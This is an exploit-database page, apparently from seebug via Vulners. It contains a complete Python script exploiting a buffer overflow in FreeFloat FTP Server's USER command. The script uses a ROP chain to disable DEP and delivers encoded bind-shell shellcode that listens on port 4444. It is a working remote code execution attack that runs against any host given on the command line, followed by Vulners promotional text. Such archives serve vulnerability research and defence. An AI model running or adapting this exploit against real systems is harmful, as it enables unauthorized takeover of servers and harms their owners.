Lucene search
K

FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

FreeFloat FTP Server Buffer Overflow Exploit (DEP Bypass

Code

                                                #!/usr/bin/python
import socket, sys
from struct import pack

print "\n==============================="
print "Freefloat FTP Server DEP Bypass"
print "       Written by Blake        "
print "===============================\n"

if len(sys.argv) != 3:
	print "[*] Usage: %s <target> <port>\n" % sys.argv[0]
	sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

buffer = "\x41" * 230
eip = pack('<L',0x77f613ac)		# RETN - shlwapi
rop = "\x42" * 8			# compensate
rop += pack('<L',0x77c2362c)		# POP EBX, RETN - msvcirt
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x77c127e1)		# INC EBX, RETN
rop += pack('<L',0x5d093466)		# POP EBP, RETN
rop += pack('<L',0x7c8622a4)		# SetProcessDEPPolicy 
rop += pack('<L',0x5d095470)		# POP EDI, RETN
rop += pack('<L',0x5d095471)		# RETN
rop += pack('<L',0x5d0913b4)		# POP ESI, RETN
rop += pack('<L',0x5d095471)            # RETN
rop += pack('<L',0x77e7d102) 		# PUSHAD # RETN - RPCRT4



nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connecting to %s on port %d" % (target,port)
try:
	s.connect((target,port))
	s.recv(1024)
	print "[+] Sending payload"
	s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")
	s.close()
	print "[+] Exploit successfully sent"
except:
	print "[X] Unable to connect to %s" % target

raw_input("[+] Press any key to exit\n")

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15